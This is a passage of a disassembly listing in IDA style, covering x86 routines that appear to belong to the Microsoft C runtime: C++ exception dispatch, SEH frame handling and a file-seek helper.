		cmp	[ebp+arg_14], 0
		jz	short loc_4227C8
		push	1
		push	esi
		call	sub_422D26
		pop	ecx
		pop	ecx


loc_4227C8:				; CODE XREF: sub_422651+56j
					; sub_422651+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4227CD:				; CODE XREF: sub_422651+37j
					; sub_422651+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_4227F3
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_4227F8
		add	esp, 20h
		jmp	short loc_4227C8
; ---------------------------------------------------------------------------


loc_4227F3:				; CODE XREF: sub_422651+180j
		jmp	sub_422DFC
sub_422651	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4227F8	proc near		; CODE XREF: sub_422651+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_4DBE70, 0
		push	esi
		push	edi
		jz	short loc_422829
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41D3AA
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_42289C


loc_422829:				; CODE XREF: sub_4227F8+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41D4D3
		add	esp, 14h
		mov	esi, eax


loc_422845:				; CODE XREF: sub_4227F8+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_42289C
		cmp	edi, [esi]
		jl	short loc_422894
		cmp	edi, [esi+4]
		jg	short loc_422894
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_42286E
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_422894


loc_42286E:				; CODE XREF: sub_4227F8+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4229B1
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_422894:				; CODE XREF: sub_4227F8+57j
					; sub_4227F8+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_422845
; ---------------------------------------------------------------------------


loc_42289C:				; CODE XREF: sub_4227F8+2Fj
					; sub_4227F8+53j
		pop	edi
		pop	esi
		leave
		retn
sub_4227F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4228A0	proc near		; CODE XREF: sub_422651+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_4228F7
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_4228F7
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_4228D1
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4228F3


loc_4228D1:				; CODE XREF: sub_4228A0+1Fj
		test	byte ptr [esi],	2
		jz	short loc_4228DB
		test	byte ptr [edi],	8
		jz	short loc_4228F3


loc_4228DB:				; CODE XREF: sub_4228A0+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_4228EA
		test	byte ptr [edi],	1
		jz	short loc_4228F3


loc_4228EA:				; CODE XREF: sub_4228A0+43j
		test	al, 2
		jz	short loc_4228F7
		test	byte ptr [edi],	2
		jnz	short loc_4228F7


loc_4228F3:				; CODE XREF: sub_4228A0+2Fj
					; sub_4228A0+39j ...
		xor	eax, eax
		jmp	short loc_4228FA
; ---------------------------------------------------------------------------


loc_4228F7:				; CODE XREF: sub_4228A0+Bj
					; sub_4228A0+14j ...
		push	1
		pop	eax


loc_4228FA:				; CODE XREF: sub_4228A0+55j
		pop	edi
		pop	esi
		retn
sub_4228A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4228FD	proc near		; CODE XREF: sub_4225B6+34p
					; ___:004229F3p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278A8
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_42292F:				; CODE XREF: sub_4228FD+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_422989
		cmp	esi, 0FFFFFFFFh
		jle	short loc_42293E
		cmp	esi, [edi+4]
		jl	short loc_422943


loc_42293E:				; CODE XREF: sub_4228FD+3Aj
		call	sub_422E52


loc_422943:				; CODE XREF: sub_4228FD+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_42295E
		push	103h
		push	ebx
		push	eax
		call	sub_422DB0


loc_42295E:				; CODE XREF: sub_4228FD+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42297E
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_42299B
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_42297E:				; CODE XREF: sub_4228FD+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_42292F
; ---------------------------------------------------------------------------


loc_422989:				; CODE XREF: sub_4228FD+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4228FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_42299B	proc near		; CODE XREF: sub_4228FD+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_4229AC
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4229AC:				; CODE XREF: sub_42299B+Cj
		jmp	sub_422DFC
sub_42299B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4229B1	proc near		; CODE XREF: sub_422651+151p
					; sub_4227F8+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_4229D3
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_422B62
		add	esp, 10h


loc_4229D3:				; CODE XREF: sub_4229B1+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_4229DF
		push	edi
		jmp	short loc_4229E2
; ---------------------------------------------------------------------------


loc_4229DF:				; CODE XREF: sub_4229B1+29j
		push	[ebp+arg_24]


loc_4229E2:				; CODE XREF: sub_4229B1+2Cj
		call	sub_41D2AC
sub_4229B1	endp

; ---------------------------------------------------------------------------
		mov	esi, [ebp+24h]
		push	dword ptr [esi]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	edi
		call	sub_4228FD
		mov	eax, [esi+4]
		push	100h
		push	dword ptr [ebp+28h]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+10h]
		push	edi
		push	dword ptr [ebp+8]
		call	sub_422A2C
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_422A27
		push	edi
		push	eax
		call	sub_41D26A


loc_422A27:				; CODE XREF: ___:00422A1Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422A2C	proc near		; CODE XREF: ___:00422A14p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278B8
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_4DBE68
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_4DBE6C
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_4DBE68, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_4DBE6C, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_41D331
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_422AF2
		mov	eax, [ebp+var_2C]


loc_422AB9:				; CODE XREF: sub_422AD2+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422A2C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422AC8	proc near		; DATA XREF: ___:004278C8o
		push	dword ptr [ebp-14h]
		call	sub_422B38
		pop	ecx
		retn
sub_422AC8	endp


; =============== S U B	R O U T	I N E =======================================



sub_422AD2	proc near		; DATA XREF: ___:004278CCo
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_41D592
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_422AB9
sub_422AD2	endp

; ---------------------------------------------------------------------------


loc_422AEA:				; DATA XREF: ___:004278C0o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_422AF2	proc near		; CODE XREF: sub_422A2C+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_4DBE68, eax
		mov	eax, [ebp-20h]
		mov	dword_4DBE6C, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_422B37
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_422B37
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_422B37
		cmp	[ebp-24h], ebx
		jnz	short locret_422B37
		cmp	[ebp-2Ch], ebx
		jz	short locret_422B37
		call	sub_41D5FA
		push	eax
		push	edi
		call	sub_422D26
		pop	ecx
		pop	ecx

locret_422B37:				; CODE XREF: sub_422AF2+1Cj
					; sub_422AF2+22j ...
		retn
sub_422AF2	endp


; =============== S U B	R O U T	I N E =======================================



sub_422B38	proc near		; CODE XREF: sub_422AC8+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_422B5F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_422B5F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_422B5F
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_422B5F
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422B5F:				; CODE XREF: sub_422B38+Cj
					; sub_422B38+12j ...
		xor	eax, eax
		retn
sub_422B38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422B62	proc near		; CODE XREF: sub_4229B1+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278D0
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_422D0B
		cmp	byte ptr [eax+8], 0
		jz	loc_422D0B
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_422D0B
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_422BFF
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_424F80
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		push	1
		push	edi
		call	sub_424F9C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_422BF0:				; CODE XREF: sub_422B62+F5j
		push	eax
		call	sub_422D8D
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_422D07
; ---------------------------------------------------------------------------


loc_422BFF:				; CODE XREF: sub_422B62+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_422C59
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_424F80
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		push	1
		push	edi
		call	sub_424F9C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_41D670
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_422D07
		mov	eax, [edi]
		test	eax, eax
		jz	loc_422D07
		add	esi, 8
		push	esi
		jmp	short loc_422BF0
; ---------------------------------------------------------------------------


loc_422C59:				; CODE XREF: sub_422B62+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_422CA1
		call	sub_424F80
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		push	1
		push	edi
		call	sub_424F9C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422D02
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_422D8D
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_41D670
		add	esp, 0Ch
		jmp	short loc_422D07
; ---------------------------------------------------------------------------


loc_422CA1:				; CODE XREF: sub_422B62+103j
		call	sub_424F80
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422D02
		push	1
		push	edi
		call	sub_424F9C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422D02
		push	dword ptr [esi+18h]
		call	sub_424FB8
		pop	ecx
		test	eax, eax
		jz	short loc_422D02
		test	byte ptr [esi],	4
		jz	short loc_422CE8
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_422D8D
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41D2A5
		jmp	short loc_422D07
; ---------------------------------------------------------------------------


loc_422CE8:				; CODE XREF: sub_422B62+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_422D8D
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41D29E
		jmp	short loc_422D07
; ---------------------------------------------------------------------------


loc_422D02:				; CODE XREF: sub_422B62+6Aj
					; sub_422B62+7Cj ...
		call	sub_422E52


loc_422D07:				; CODE XREF: sub_422B62+98j
					; sub_422B62+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_422D0B:				; CODE XREF: sub_422B62+2Ej
					; sub_422B62+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422B62	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_422DFC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422D26	proc near		; CODE XREF: sub_422651+170p
					; sub_422AF2+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278E0
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_422D6D
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_422D6D
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_41D29E
		or	[ebp+var_4], 0FFFFFFFFh


loc_422D6D:				; CODE XREF: sub_422D26+2Aj
					; sub_422D26+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422D26	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_422DFC

; =============== S U B	R O U T	I N E =======================================



sub_422D8D	proc near		; CODE XREF: sub_422B62+8Fp
					; sub_422B62+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_422DAE
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_422DAE:				; CODE XREF: sub_422D8D+12j
		pop	esi
		retn
sub_422D8D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422DB0	proc near		; CODE XREF: sub_41D331+40p
					; sub_4228FD+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41D61D
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_422DEF
		mov	ecx, 2


loc_422DEF:				; CODE XREF: sub_422DB0+38j
		push	ecx
		call	sub_41D61D
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_422DB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422DFC	proc near		; CODE XREF: sub_422651:loc_4227F3j
					; sub_42299B:loc_4229ACj ...

var_28		= dword	ptr -28h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00424FD0 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278F0
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_4DBE74
		test	eax, eax
		jz	short loc_422E44
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_422E40
; ---------------------------------------------------------------------------


loc_422E39:				; DATA XREF: ___:00427900o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422E3D:				; DATA XREF: ___:00427904o
		mov	esp, [ebp+var_18]


loc_422E40:				; CODE XREF: sub_422DFC+3Bj
		and	[ebp+var_4], 0


loc_422E44:				; CODE XREF: sub_422DFC+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_422E4D:				; DATA XREF: ___:004278F8o
		jmp	loc_424FD0
sub_422DFC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422E52	proc near		; CODE XREF: sub_41D4D3+23p
					; sub_41D4D3:loc_41D53Ep ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427908
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_43D444
		test	eax, eax
		jz	short loc_422E9A
		mov	[ebp+var_4], 1
		call	eax ; sub_422DFC
		jmp	short loc_422E96
; ---------------------------------------------------------------------------


loc_422E8F:				; DATA XREF: ___:00427918o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422E93:				; DATA XREF: ___:0042791Co
		mov	esp, [ebp+var_18]


loc_422E96:				; CODE XREF: sub_422E52+3Bj
		and	[ebp+var_4], 0


loc_422E9A:				; CODE XREF: sub_422E52+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_422EA3:				; DATA XREF: ___:00427910o
		jmp	sub_422DFC
sub_422E52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422EA8	proc near		; CODE XREF: sub_41D9B3+7p
					; sub_41D9B3+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4DD388
		push	esi
		cmp	eax, 3
		jnz	short loc_422ED1
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41E717
		test	eax, eax
		pop	ecx
		jz	short loc_422ECE
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_422F06
; ---------------------------------------------------------------------------


loc_422ECE:				; CODE XREF: sub_422EA8+1Cj
		push	esi
		jmp	short loc_422EF8
; ---------------------------------------------------------------------------


loc_422ED1:				; CODE XREF: sub_422EA8+Ej
		cmp	eax, 2
		jnz	short loc_422EF5
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41F472
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_422EF5
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_422F06
; ---------------------------------------------------------------------------


loc_422EF5:				; CODE XREF: sub_422EA8+2Cj
					; sub_422EA8+43j
		push	[ebp+arg_0]


loc_422EF8:				; CODE XREF: sub_422EA8+27j
		push	0
		push	dword_4DD384
		nop
		call	near ptr 2670000h


loc_422F06:				; CODE XREF: sub_422EA8+24j
					; sub_422EA8+4Bj
		pop	esi
		leave
		retn
sub_422EA8	endp


; =============== S U B	R O U T	I N E =======================================



sub_422F09	proc near		; CODE XREF: ___:0041DAF2p
					; sub_41F9BC+1A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_4DD140
		push	esi
		push	edi
		jnb	short loc_422F8B
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DD040h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_422F8B
		push	eax
		call	sub_4240AA
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_422F4D
		mov	dword_4DBDDC, 9
		jmp	short loc_422F9C
; ---------------------------------------------------------------------------


loc_422F4D:				; CODE XREF: sub_422F09+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		nop
		call	near ptr 27C0000h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_422F6D
		nop
		call	near ptr 26B0669h
		jmp	short loc_422F6F
; ---------------------------------------------------------------------------


loc_422F6D:				; CODE XREF: sub_422F09+5Aj
		xor	eax, eax


loc_422F6F:				; CODE XREF: sub_422F09+62j
		test	eax, eax
		jz	short loc_422F7C
		push	eax
		call	sub_420C7F
		pop	ecx
		jmp	short loc_422F9C
; ---------------------------------------------------------------------------


loc_422F7C:				; CODE XREF: sub_422F09+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_422F9F
; ---------------------------------------------------------------------------


loc_422F8B:				; CODE XREF: sub_422F09+Dj
					; sub_422F09+2Aj
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9


loc_422F9C:				; CODE XREF: sub_422F09+42j
					; sub_422F09+71j
		or	eax, 0FFFFFFFFh


loc_422F9F:				; CODE XREF: sub_422F09+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_422F09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422FA3	proc near		; CODE XREF: ___:0041DAB5p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_422FBF
		mov	[edi+4], ebx


loc_422FBF:				; CODE XREF: sub_422FA3+17j
		push	1
		push	ebx
		push	esi
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_42302D
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_422FE4
		sub	eax, [edi+4]
		jmp	loc_4230F6
; ---------------------------------------------------------------------------


loc_422FE4:				; CODE XREF: sub_422FA3+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_42301E
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_4DD040[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_423035
		mov	edx, ecx


loc_42300F:				; CODE XREF: sub_422FA3+79j
		cmp	edx, eax
		jnb	short loc_423035
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_42301B
		inc	[ebp+var_8]


loc_42301B:				; CODE XREF: sub_422FA3+73j
		inc	edx
		jmp	short loc_42300F
; ---------------------------------------------------------------------------


loc_42301E:				; CODE XREF: sub_422FA3+50j
		test	dl, 80h
		jnz	short loc_423035
		mov	dword_4DBDDC, 16h


loc_42302D:				; CODE XREF: sub_422FA3+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_4230F6
; ---------------------------------------------------------------------------


loc_423035:				; CODE XREF: sub_422FA3+68j
					; sub_422FA3+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_423043
		mov	eax, [ebp+var_8]
		jmp	loc_4230F6
; ---------------------------------------------------------------------------


loc_423043:				; CODE XREF: sub_422FA3+96j
